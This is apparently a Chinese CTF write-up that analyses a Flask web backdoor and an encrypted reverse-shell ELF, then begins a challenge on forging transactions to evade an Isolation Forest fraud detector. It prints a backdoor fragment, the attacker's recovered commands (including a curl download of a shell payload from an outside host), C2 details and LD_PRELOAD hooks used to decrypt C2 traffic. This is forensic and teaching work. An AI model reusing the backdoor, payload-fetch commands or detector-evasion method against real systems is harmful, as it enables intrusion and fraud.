errors='ignore' ) enc_output = rc4_crypt(output_bytes, RC4_SECRET) return binascii.hexlify(enc_output).decode() except : return "Error" app.error_handler_spec[None ][code][exc_class]=lambda error: backdoor_handler()
FLAG
SnakeBackdoor-4 Challenge
攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
Solution 根据上面后门指定了 X-Token-Auth,直接搜索 3011aa21232beb7504432bfa90d32779
后门用的加密算法是rc4,这是个对称密码,直接在原脚本的基础上改改就能得到解密脚本了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import binasciiRC4_SECRET = b'v1p3r_5tr1k3_k3y' def rc4_crypt (data: bytes , key: bytes ) -> bytes : S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + key[i % len (key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray () for char in data: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256 ]) return bytes (res) def decrypt (enc_hex_cmd ): enc_cmd = binascii.unhexlify(enc_hex_cmd) cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8' , errors='ignore' ) print (cmd) enc = ["a6bc" , "bab1771fe3c167d904976a6971c1ba420d2151ab686ad6587751128712c88b46cbb73456445438" , "a3ab330fb285" , "bbb76743bfc926806187313e6edaf3074f245be4272bdf0a7f4c09d210d4d902c3e56f09094b120c0a092b8395aa713f7e718a69f5ae21c064256dc241a6b724a9aea3b216203e5a10f10eb13dd1edd3624db3f5654c99ff4765bb03a3a2146e29e2d2da1e573b22c81b0c52cfab219eccc668859e3bd14eab1aefc4ca669b52ea8226e7ef0c3c4cfc1b21d020c27df0a3c971ddf8fd045cf3f48bc8d7cee145c35da234effb63f0ef6c5ef1b4d17a70f304e97a24673b19854a68b986e4b09ba100994c8458ee27512ae609837ea44298e9807c3bb6425595741cee0dbfff85595cbc40a6ac4aee97d90dca171b19f76029b327b04f5533f3b88fe396d51235a1de8905931f13f9d60ebedd2ed372cc09951426dd495c5dbda222ea8830d99f1fb4c697d3e86ccab948282df14b99156b90904ac8dbe9fae55b52ef408ebe703884216be721280208e0e0082482add6b32472dd3b6eb5f931eec8d0d349a6c4f76482bc24b2db10b4" , "acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534" , "" , "bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a" , "8eaa704aba9f708c4bc36c3d7bd8f14e0f3a0dbe6e6ef558304a13940edac21f8da261191f095f38401963d4c9e6602c64649f69fb846592337d3f9533" , "a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351" , "" , "acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b" , "" , "e0ac7e52fc996cc2038c2d7a3899ed" , "" ] for e in enc: decrypt(e)
解出的结果是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 id uid=0(root) gid=0(root) groups =0(root) ls -altotal 36 drwxr-xr-x 5 root root 4096 Dec 20 13:55 . drwxrwxrwt 18 root root 12288 Dec 21 00:00 .. -rw-r--r-- 1 root root 2284 Dec 20 13:55 app.py -rw-r--r-- 1 root root 11 Dec 20 13:55 requirements.txt drwxr-xr-x 2 root root 4096 Dec 20 13:55 static drwxr-xr-x 2 root root 4096 Dec 20 13:55 templates drwxr-xr-x 5 root root 4096 Dec 20 13:55 venv curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip Archive: /tmp/123.zip inflating: /tmp/shell mv /tmp/shell /tmp/python3.13chmod +x /tmp/python3.13/tmp/python3.13
FLAG
SnakeBackdoor-5 Challenge
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}
Solution 吃了不会逆向的亏,这一问没做出来连带着下一问也做不出来
先用 DIE 查壳
没有壳,是个 ELF 程序
分析木马的主入口点
这是一个加密的反弹 shell,C2 地址是 192.168.1.201:58782,协议是 TCP
sub_18ED 的作用是使用 TCP socket 接收函数(recv)循环读取数据
程序没有硬编码加密密钥,而是采用了一种基于 PRNG 的动态密钥生成方案
这里的 command_ 是网络字节序,因此在获取 command_ 后要对其转换字节序,将主机字节序的结果存入 seed:seed = (command_ >> 8) & 0xFF00 | (command_ << 8) & 0xFF0000 | (command_ << 24) | HIBYTE(command_);
用 seed 初始化随机数生成器后连续调用4次 rand(),生成了 4 个 32 位整数然后把它们存在数组 v8 里
根据前面逆向的结果回到流量数据包寻找那个四字节的种子,构造以下规则筛选符合要求的流量(来自 192.168.1.201:58782 的长度为 4 字节的 TCP 流量)
1 (ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4
第一条结果就是程序接收到的种子 34952046 拿到种子后就可以还原加密密钥了
前面第 40 行的代码之所以需要转换字节序是因为它通过 Socket 接收到的是大端序的原始字节流,直接被小端序架构的 CPU 读取时会发生内存解释错误,因此需要将字节序调整为 CPU 能正确理解的主机序;人工提取直接把数据的逻辑数值作为整型常量定义即可,编译器在编译时会自动处理该数值在当前架构下的内存布局(也就是自动存为小端序)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <stdlib.h> #define HIBYTE(x) (((x) >> 24) & 0xFF) int main () { unsigned int seed = 0x34952046 ; srand(seed); for (int i = 0 ; i <= 3 ; i++) { unsigned int r = rand(); unsigned char *ptr = (unsigned char *)&r; for (int j = 0 ; j < 4 ; j++) { printf ("%02x" , ptr[j]); } } return 0 ; }
Windows 的 rand() 和 Linux 的实现不同,木马是在 Linux 编译的所以这里在 kali 编译运行
得到加密密钥 ac46fb610b313b4f32fc642d8834b456
FLAG 1 flag{ac46fb610b313b4f32fc642d8834b456}
SnakeBackdoor-6 Challenge
请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}
Solution 赛后看了好久 SM4 还是看不懂,不用理解加密算法解题的方法比较常见的应该就是动调和 hook 了,然而我也不会动调,还是在 AI 的帮助下学学怎么 hook 吧
因为前面拿到的很多数据都是十六进制字符串,所以先写一个辅助函数来把十六进制字符串转为二进制字节流
1 2 3 4 5 6 7 void hex_to_bin (const char *hex, unsigned char *bin) { size_t len = strlen (hex); for (size_t i = 0 ; i < len; i += 2 ) { sscanf (hex + i, "%2hhx" , &bin[i / 2 ]); } }
继续分析程序主入口点的流程
先看前面就分析过的第 30-34 行,这里判断了如果 connect < 0 (连接失败)就会直接退出,所以要拦截 connect 并让它不小于 0 达到绕过 C2 的效果
双击这里的 connect 去看它是怎么实现的
1 2 3 4 int connect (int fd, const struct sockaddr *addr, socklen_t len) { return connect(fd, addr, len); }
让这里的返回值为 0 即可,得到代码:
1 2 3 int connect (int fd, const struct sockaddr *addr, socklen_t len) { return 0 ; }
再看前面分析过的第 41-43 行,这里调用 4 次 rand() 来填充数组 v8,这里不用管随机数是怎么生成的,直接接管 rand() 的返回值,让它返回上一问拿到的 ac46fb610b313b4f32fc642d8834b456
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int rand (void ) { static unsigned char key_bin[16 ]; static int rand_call_count = 0 ; static int inited = 0 ; if (!inited) { hex_to_bin(KEY_HEX, key_bin); inited = 1 ; } if (rand_call_count < 4 ) { unsigned int val = *(unsigned int *)&key_bin[rand_call_count * 4 ]; rand_call_count++; return val; } return 0 ; }
这样在程序执行 v8[i] = rand() 时填入的就是 ac46fb610b313b4f32fc642d8834b456 了
前面分析过 sub_18ED 是 recv 的简单封装
往下翻翻哪里调用了 sub_18ED 大概率就是接收 C2 数据的地方了
第 46 行调用了 sub_18ED,这里读取了一个 4 字节的数据,通过下面的分析可以知道这个是密文长度,把密文长度存入 n4
第 51 行再次调用了 sub_18ED,这里把读取到的长度为 n4 的密文存入了 command
然后后面就是加密的流程了,不需要理解它是怎么加密的,劫持 sub_18ED 之后把密文长度与密文注入即可,但是 sub_18ED 不方便劫持,所以劫持 recv()
先看看 recv() 是咋写的
sub_18ED 被多次调用,根据调用次数让 recv() 返回指定结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 ssize_t recv (int sockfd, void *buf, size_t len, int flags) { static int recv_step = 0 ; static unsigned int current_len = 0 ; if (recv_step == 0 ) { memset (buf, 0x41 , 4 ); recv_step++; return 4 ; } int idx = recv_step - 1 ; if (DATA[idx] == NULL ) { exit (0 ); } if (recv_step % 2 != 0 ) { sscanf (DATA[idx], "%x" , ¤t_len); unsigned char len_buf[4 ]; len_buf[0 ] = (current_len >> 24 ) & 0xFF ; len_buf[1 ] = (current_len >> 16 ) & 0xFF ; len_buf[2 ] = (current_len >> 8 ) & 0xFF ; len_buf[3 ] = current_len & 0xFF ; memcpy (buf, len_buf, 4 ); recv_step++; return 4 ; } if (recv_step % 2 == 0 ) { unsigned char *cipher_bin = (unsigned char *)malloc (current_len); hex_to_bin(DATA[idx], cipher_bin); memcpy (buf, cipher_bin, current_len); free (cipher_bin); recv_step++; return current_len; } return 0 ; }
sub_1860 是解密函数,程序将解密后的明文存放在 command 中,紧接着调用 popen(command, "r"),此时明文已经在 command 参数里了
直接拦截 popen(),劫持修改让它输出明文即可
1 2 3 4 FILE *popen (const char *command, const char *type) { printf ("%s\n" , command); return fopen("/dev/null" , "r" ); }
为了能让程序稳定地循环解密,这里还需要额外处理 pclose 和 send
在 popen 中返回的是 fopen("/dev/null") 的普通文件流而非真正的进程管道,程序后续调用系统的 pclose 去关闭它时会报错退出;而程序执行完命令后会将结果通过 Socket 回传,但因为前面伪造了 connect,Socket 是无效的,调用 send 会导致 Broken pipe 错误
因此需要把这两个函数也 hook 掉假装一切正常:
1 2 3 4 5 6 7 8 int pclose (FILE *stream) { if (stream) fclose(stream); return 0 ; } ssize_t send (int sockfd, const void *buf, size_t len, int flags) { return len; }
在筛选 (ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4 后对第一个结果(就是内容是种子的那条流量)追踪流(流 1827)得到密文长度和密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 34952046 00000010 49b351855f211b85bd012f80ce8ed5b3 00000010 2cc5becb37ca595a89445461c6512efc 00000010 b863696da0c6bb28da46e09069dd644f 00000030 87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7 00000010 b7c88bb0d92308a57f83d08a90ae024c 00000920 91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07cc2bccec85db48d820038d8c1273024cd80f99e761e2dc2ca5f79f97eb5e01c74a7807ba9f29d99338ea1962daba592f2f212ca8686cf37880755f82949cce1e38a7cd2c8f4a79e5a5b640375a94faa0dd2df11225df777845781f0562aab86e09effa9d6254ac8db8853036f680c37d9a047eafd0b65d7b8715cdd7f9becf3046afd113dc0b8b714b002cafc2482c4f240dab7cfa61ea30b3d4595b67563fde635bbd243f3ea8cca3d6bad779161939dd3acd3de84e9f0345f8e4c7b1dd0909922334bbbc0ccd412b8d8216337b515ad84833f28fc2641bf05e058be36ed08c073a5d9d24304eaf50c29d1f3cde1893acc5e4ba171ed4d1474d3f0046208ba565589ace3ecd59e248c22663b789ff5ff9eb73ea4fff8399159d10f689487d553333ce4ec0c0c568a5f532a015a6f1801f0d820a0b8a744b915248b842a2448d9b6d2d0493c7e8a32b86c05a26127a02bbb99ba83f410b1c2b9bbc1b5e39a5558f467eebd32b38a3e208c2534f74b450e412c2ab730ec45b224a2ba5255e24fd831db1d900c8a57967b8ad6993fb3a9b2de1d2d6093eb14a02ddd4cb29275b4cd80f99e761e2dc2ca5f79f97eb5e01ae78b840270ec94dd8eaeb7d15b9b74406f4e96257e0eec382482d4dcfb64257b9e83711e847957323fedb65b189afe150ae2213b7c9d2788dce7ba88cf8774a9bbe15c3832f0c136b1397209a7d6a9f37d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0c81a54b98f519ef41ce3775f5b2c26c7ad644797d69604a9fd412ae25a28aec737d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0158df499dc5f4de223e3dca72bbf66f48ac1fc75b1be3cc2e4de7d370f88778a006daefea44d62d389eff227e4d031124cd80f99e761e2dc2ca5f79f97eb5e01507836a14c3f3e83d0a317cd2ab8048eba52c6ca5e547ff797fca0cd47c62f4b7356b3bc38bc81e646000cf069b2be56d9fe59bcf4063d0a0363b9209c4f3860c90967283e1b364810145ed6e7525074a1a2527c05163cd8d49595c493a9bc5e5d480f143d8f892dfd8f90b3e8d3ea20352c9d0ad901cc079bf2a592ae4c58be125fff2fb31ecdcd95dc2fcdefdf1c6101dabec17b13f2d04eb8851a3115be66d1778dfb4003a9f705ad133b196c32404734c892cda46767181cf7a0a38fb8ac6e0a04a6bff4b1e8a7bfdabe5ddabbf62f934f8f91898a41dd0a0fd7c83eb55d27fe795766e9fcf20b8b885081848690e58d3748a157c7801a3d5c42db28cebf582760ac945ac0fc2b72edfc43c01c919b5a749a422da155198cbe9e3a2806a32a4e4a8590bbcf0496b0e13a8be7fbb69d55fc3541905d448499cd88edf0c58f59205e9f89a115e0ca9b5c3ebd9415c631acc7f6b9de54a40a9fa7d606f95e4cd62cd0cb2eb4feb350d04c46ce6f8b8d0eaf46208b3b4d4508812cd908bce78846ad5c20a6dbb14f7373dfce61976b85e58d3748a157c7801a3d5c42db28cebf75ec1d1089052336e2c805f6e1d401dc35b7bb0bf188e8a9c2e8567a3ae0ec3bf6b9c05a0b6a9673c89693fbe7894b0135481fbddaf394773fad605eae99f4600e956dd8d489eb2ed159c598fabec5b17c8df9c4b414a371aa84b77eefea1bb42418ea7fd3709e2ef4850ddae503e92a0b4ff34aa7020c999bac051005b26fa5a0f828b51e588aeca3e690e9c84ff682164a86379ddda02b1d92f0dee9a1d0cb9cbdf5432cc4b943ba474c4f5467500b0b31d077cf5047aa9384cf4b6757ca370a5e0604fcd15bfedaefe87179f97cf0efe63431c3b3540eb2e459cb8250fc1993bea701c61b61b7ffc13777b2d9f9dc57d229f0489d6328 0f8e8c73baeb70cada6aa30d3a91d0c8f4f2a26dd4e3e7ad0c99810245ae92a05893d4b74323a37247cc6c9c417f8082ccef101bd31acdc79c8a673396353a030358d2a3db37019672b8042929a68fea5ba9965e5145940355e00debe46e80b75dd31b646f39d4cb3e057bc64c8e3b39a7c6d3bfdd41a836ff87620ec931e8a490f0ad33048de50841a959f4baac6fb0e36b389f6f5ecb3925b04a5d37f37479c0ed02b23f38c64e44300433b5a0cbc4063760642bba08473e11ef2c7be2f6bc0ac99cca4792b17dfe4f3358455566bb4e3006a200a87466f4dafea0bfa7a420220ca5ec4f5e73d89784fce2cfc878df8f3609576975a58ce58d3748a157c7801a3d5c42db28cebf152ab441a154dfbd83e6e929e62be820e41688e06d47bde780960ef807b3fd78bdf05032d4aa84948b384d9afd9fc12c95169f9ee5c386f60e32374951be448e92d4853b4c8ae7fbc715f4562156ba86b5adc49e400e7c227c617a26bbd908a27896015cf6f8532e5c04b5030abe4f7f0f6c167ab0ea204e76fdfca5e6311fee6403bb60415e43af2a10de078a479a8c644709a3082176ffb04af8535796b3acf83bcd500f288a491101dcea576f1dd97ba6ce01d8f1de4e98135bf20f394129672538325aaded45fd604b388019b12df57ff11b010ba7c39dc7f04fd26b770806b46d91016bd16e126c8d3f6c874acfe42ee6bc7030e24c62e9901103458ebd44fced6e5064c2f19da84dfff4c62f6c1088c3bc411ab9ab0f7eb772b85958d94f1775cb597f36010c045326de15287a5ee634e93ce07e0ad0ea5c9cebc60308823d603ef85287de24fb532cbc577b8fd49553f3ca6067dd2b58467a749571247d6c20d005178494c3c9ec028297a8360248ecd4a8d4a9088a0b27faba386dca644709a3082176ffb04af8535796b3ac02f30c6c0d7cc594e2bcafb487e74f12157ce37c1553c6382b1689c659eaeb23672538325aaded45fd604b388019b12df57ff11b010ba7c39dc7f04fd26b770804245b989b54cced122e6e9e9551efd011a479cd8db04b5fdcdb0cb75ba0039c44fced6e5064c2f19da84dfff4c62f6c5f4161bc70501782795e73b2032071d9a205839af1b4b42d35f628f79847bf3cd80c3faa03cab06d8cbeae800ce724a7823d603ef85287de24fb532cbc577b8fa014e820aedef4bbd9685845951995982ccf1a4cef2497d36c1dd18bd968932e5e197f709a77d04aa112373cc4c1d0ab 00000030 4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770 00000030 7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729 00000030 de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029 00000010 7b82a7a9e2cacaa29b6e70cec2a3302a 00000010 f958a8cea6721e88d1882e0f16e4da4b 00000010 7b82a7a9e2cacaa29b6e70cec2a3302a
然后拼起来得到完整的 hook 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> const char *KEY_HEX = "ac46fb610b313b4f32fc642d8834b456" ;const char *DATA[] = { "00000010" , "49b351855f211b85bd012f80ce8ed5b3" , "00000010" , "2cc5becb37ca595a89445461c6512efc" , "00000010" , "b863696da0c6bb28da46e09069dd644f" , "00000030" , "87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7" , "00000010" , "b7c88bb0d92308a57f83d08a90ae024c" , "00000920" , "91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07cc2bccec85db48d820038d8c1273024cd80f99e761e2dc2ca5f79f97eb5e01c74a7807ba9f29d99338ea1962daba592f2f212ca8686cf37880755f82949cce1e38a7cd2c8f4a79e5a5b640375a94faa0dd2df11225df777845781f0562aab86e09effa9d6254ac8db8853036f680c37d9a047eafd0b65d7b8715cdd7f9becf3046afd113dc0b8b714b002cafc2482c4f240dab7cfa61ea30b3d4595b67563fde635bbd243f3ea8cca3d6bad779161939dd3acd3de84e9f0345f8e4c7b1dd0909922334bbbc0ccd412b8d8216337b515ad84833f28fc2641bf05e058be36ed08c073a5d9d24304eaf50c29d1f3cde1893acc5e4ba171ed4d1474d3f0046208ba565589ace3ecd59e248c22663b789ff5ff9eb73ea4fff8399159d10f689487d553333ce4ec0c0c568a5f532a015a6f1801f0d820a0b8a744b915248b842a2448d9b6d2d0493c7e8a32b86c05a26127a02bbb99ba83f410b1c2b9bbc1b5e39a5558f467eebd32b38a3e208c2534f74b450e412c2ab730ec45b224a2ba5255e24fd831db1d900c8a57967b8ad6993fb3a9b2de1d2d6093eb14a02ddd4cb29275b4cd80f99e761e2dc2ca5f79f97eb5e01ae78b840270ec94dd8eaeb7d15b9b74406f4e96257e0eec382482d4dcfb64257b9e83711e847957323fedb65b189afe150ae2213b7c9d2788dce7ba88cf8774a9bbe15c3832f0c136b1397209a7d6a9f37d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0c81a54b98f519ef41ce3775f5b2c26c7ad644797d69604a9fd412ae25a28aec737d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0158df499dc5f4de223e3dca72bbf66f48ac1fc75b1be3cc2e4de7d370f88778a006daefea44d62d389eff227e4d031124cd80f99e761e2dc2ca5f79f97eb5e01507836a14c3f3e83d0a317cd2ab8048eba52c6ca5e547ff797fca0cd47c62f4b7356b3bc38bc81e646000cf069b2be56d9fe59bcf4063d0a0363b9209c4f3860c90967283e1b364810145ed6e7525074a1a2527c05163cd8d49595c493a9bc5e5d480f143d8f892dfd8f90b3e8d3ea20352c9d0ad901cc079bf2a592ae4c58be125fff2fb31ecdcd95dc2fcdefdf1c6101dabec17b13f2d04eb8851a3115be66d1778dfb4003a9f705ad133b196c32404734c892cda46767181cf7a0a38fb8ac6e0a04a6bff4b1e8a7bfdabe5ddabbf62f934f8f91898a41dd0a0fd7c83eb55d27fe795766e9fcf20b8b885081848690e58d3748a157c7801a3d5c42db28cebf582760ac945ac0fc2b72edfc43c01c919b5a749a422da155198cbe9e3a2806a32a4e4a8590bbcf0496b0e13a8be7fbb69d55fc3541905d448499cd88edf0c58f59205e9f89a115e0ca9b5c3ebd9415c631acc7f6b9de54a40a9fa7d606f95e4cd62cd0cb2eb4feb350d04c46ce6f8b8d0eaf46208b3b4d4508812cd908bce78846ad5c20a6dbb14f7373dfce61976b85e58d3748a157c7801a3d5c42db28cebf75ec1d1089052336e2c805f6e1d401dc35b7bb0bf188e8a9c2e8567a3ae0ec3bf6b9c05a0b6a9673c89693fbe7894b0135481fbddaf394773fad605eae99f4600e956dd8d489eb2ed159c598fabec5b17c8df9c4b414a371aa84b77eefea1bb42418ea7fd3709e2ef4850ddae503e92a0b4ff34aa7020c999bac051005b26fa5a0f828b51e588aeca3e690e9c84ff682164a86379ddda02b1d92f0dee9a1d0cb9cbdf5432cc4b943ba474c4f5467500b0b31d077cf5047aa9384cf4b6757ca370a5e0604fcd15bfedaefe87179f97cf0efe63431c3b3540eb2e459cb8250fc1993bea701c61b61b7ffc13777b2d9f9dc57d229f0489d6328" , "00000030" , "4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770" , "00000030" , "7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729" , "00000030" , "de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029" , "00000010" , "7b82a7a9e2cacaa29b6e70cec2a3302a" , "00000010" , "f958a8cea6721e88d1882e0f16e4da4b" , "00000010" , "7b82a7a9e2cacaa29b6e70cec2a3302a" , NULL }; void hex_to_bin (const char *hex, unsigned char *bin) { size_t len = strlen (hex); for (size_t i = 0 ; i < len; i += 2 ) { sscanf (hex + i, "%2hhx" , &bin[i / 2 ]); } } int connect (int fd, const struct sockaddr *addr, socklen_t len) { return 0 ; } int rand (void ) { static unsigned char key_bin[16 ]; static int rand_call_count = 0 ; static int inited = 0 ; if (!inited) { hex_to_bin(KEY_HEX, key_bin); inited = 1 ; } if (rand_call_count < 4 ) { unsigned int val = *(unsigned int *)&key_bin[rand_call_count * 4 ]; rand_call_count++; return val; } return 0 ; } ssize_t recv (int sockfd, void *buf, size_t len, int flags) { static int recv_step = 0 ; static unsigned int current_len = 0 ; if (recv_step == 0 ) { memset (buf, 0x41 , 4 ); recv_step++; return 4 ; } int idx = recv_step - 1 ; if (DATA[idx] == NULL ) { exit (0 ); } if (recv_step % 2 != 0 ) { sscanf (DATA[idx], "%x" , ¤t_len); unsigned char len_buf[4 ]; len_buf[0 ] = (current_len >> 24 ) & 0xFF ; len_buf[1 ] = (current_len >> 16 ) & 0xFF ; len_buf[2 ] = (current_len >> 8 ) & 0xFF ; len_buf[3 ] = current_len & 0xFF ; memcpy (buf, len_buf, 4 ); recv_step++; return 4 ; } if (recv_step % 2 == 0 ) { unsigned char *cipher_bin = (unsigned char *)malloc (current_len); hex_to_bin(DATA[idx], cipher_bin); memcpy (buf, cipher_bin, current_len); free (cipher_bin); recv_step++; return current_len; } return 0 ; } FILE *popen (const char *command, const char *type) { printf ("%s\n" , command); return fopen("/dev/null" , "r" ); } int pclose (FILE *stream) { if (stream) fclose(stream); return 0 ; } ssize_t send (int sockfd, const void *buf, size_t len, int flags) { return len; }
1 2 gcc -fPIC -shared -o hook.so hook.c -ldl LD_PRELOAD=./hook.so ./shell
不过这里要注意的是出题人互换了 1 和 l、0 和 O,需要手动改回来(好阴啊)
FLAG 1 flag{6894c9ec-719b-4605-82bf-4fe1de27738f}
AI安全 The Silent Heist Challenge
目标银行部署了一套基于 Isolation Forest (孤立森林) 的反欺诈系统。该系统不依赖传统的黑名单,而是通过机器学习严密监控交易的 20 个统计学维度。系统学习了正常用户的行为模式(包括资金流向、设备指纹的协方差关系等),一旦发现提交的数据分布偏离了“正常模型”,就会立即触发警报。
我们成功截取了一份包含 1000 条正常交易记录的流量日志 (public_ledger.csv)。请你利用统计学方法分析这份数据,逆向推导其多维特征分布规律,并伪造一批新的交易记录。
Solution 孤立森林是一种非参数化的异常检测算法,其核心思想是异常点往往稀少且不同。异常点远离高密度区域,在树中很快就会被孤立,路径长度较短;正常点处于高密度聚集区,要经过多次切分才能被孤立,路径长度较长。
先分析 public_ledger.csv 的统计特性:
1 2 3 4 import pandas as pddf = pd.read_csv('public_ledger.csv' ) print (df.describe())print (df.corr())
输出结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 f0 f1 f2 f3 ... f16 f17 f18 f19 count 1000.000000 1000.000000 1000.000000 1000.000000 ... 1000.000000 1000.000000 1000.000000 1000.000000 mean 353.366066 27.518295 93.723774 82.976145 ... 31.057835 43.039691 14.267126 29.504623 std 25.761303 2.727274 2.828509 2.690375 ... 2.574662 2.468624 2.808017 2.137193 min 277.528901 19.139613 85.223702 75.070764 ... 22.914408 35.168580 5.381082 23.436739 25 % 335.406619 25.651252 91.867704 81.171030 ... 29.230476 41.424166 12.347197 28.079182 50 % 353.419892 27.557481 93.661490 82.935950 ... 31.025311 42.978489 14.239108 29.508814 75 % 370.928230 29.404009 95.605310 84.894005 ... 32.874875 44.669082 16.365519 31.046881 max 431.299163 35.577185 102.853029 90.399800 ... 39.317027 50.426151 23.295685 36.214328 [8 rows x 20 columns ] f0 f1 f2 f3 f4 ... f15 f16 f17 f18 f19 f0 1.000000 0.750063 0.716637 0.759383 0.507360 ... 0.821064 0.703803 0.702949 0.830558 0.794620 f1 0.750063 1.000000 0.806308 0.704578 0.689826 ... 0.749549 0.736088 0.696779 0.779997 0.581747 f2 0.716637 0.806308 1.000000 0.671494 0.614247 ... 0.694812 0.716734 0.773410 0.682263 0.662238 f3 0.759383 0.704578 0.671494 1.000000 0.725941 ... 0.890735 0.673606 0.728218 0.788946 0.692148 f4 0.507360 0.689826 0.614247 0.725941 1.000000 ... 0.697393 0.680010 0.491486 0.552296 0.477895 f5 0.662030 0.734213 0.810812 0.710760 0.553893 ... 0.629712 0.773858 0.697300 0.762147 0.685180 f6 0.787701 0.730347 0.764020 0.718250 0.612411 ... 0.674097 0.678779 0.801436 0.745377 0.708017 f7 0.700495 0.724452 0.671756 0.661123 0.674914 ... 0.759921 0.719829 0.561439 0.846569 0.582050 f8 0.636828 0.728840 0.795659 0.786771 0.796218 ... 0.723262 0.765611 0.835049 0.709286 0.580926 f9 0.843381 0.785895 0.708344 0.725701 0.620199 ... 0.778569 0.858284 0.718543 0.907205 0.717416 f10 0.757026 0.763784 0.726032 0.851975 0.699480 ... 0.744315 0.746124 0.805886 0.761826 0.718435 f11 0.705224 0.778396 0.779770 0.789787 0.668275 ... 0.747641 0.800492 0.839851 0.810376 0.691686 f12 0.702653 0.767262 0.802256 0.782943 0.838507 ... 0.739345 0.755160 0.740916 0.690307 0.635369 f13 0.789366 0.837702 0.832103 0.729791 0.587619 ... 0.831766 0.740468 0.800123 0.813361 0.709778 f14 0.682876 0.760312 0.798318 0.660775 0.647816 ... 0.796049 0.692311 0.592889 0.618375 0.682284 f15 0.821064 0.749549 0.694812 0.890735 0.697393 ... 1.000000 0.708625 0.680482 0.817315 0.724733 f16 0.703803 0.736088 0.716734 0.673606 0.680010 ... 0.708625 1.000000 0.711181 0.745379 0.689665 f17 0.702949 0.696779 0.773410 0.728218 0.491486 ... 0.680482 0.711181 1.000000 0.773676 0.601704 f18 0.830558 0.779997 0.682263 0.788946 0.552296 ... 0.817315 0.745379 0.773676 1.000000 0.703803 f19 0.794620 0.581747 0.662238 0.692148 0.477895 ... 0.724733 0.689665 0.601704 0.703803 1.000000 [20 rows x 20 columns ]
可以发现 feat_0 的均值在 350 左右,要达到 200 万就要生成大约 6000 条记录。通过相关系数矩阵发现 feat_1 到 feat_19 之间并非完全独立,比如说某些设备指纹特征之间存在强耦合,如果生成的特征破坏了这种协方差关系孤立森林会就会识别出异常。
由于已知数据是正常行为,我们可以假定这些数据服从多元正态分布,其概率密度函数由均值向量 $\mu$ 和协方差矩阵 $\Sigma$ 决定:
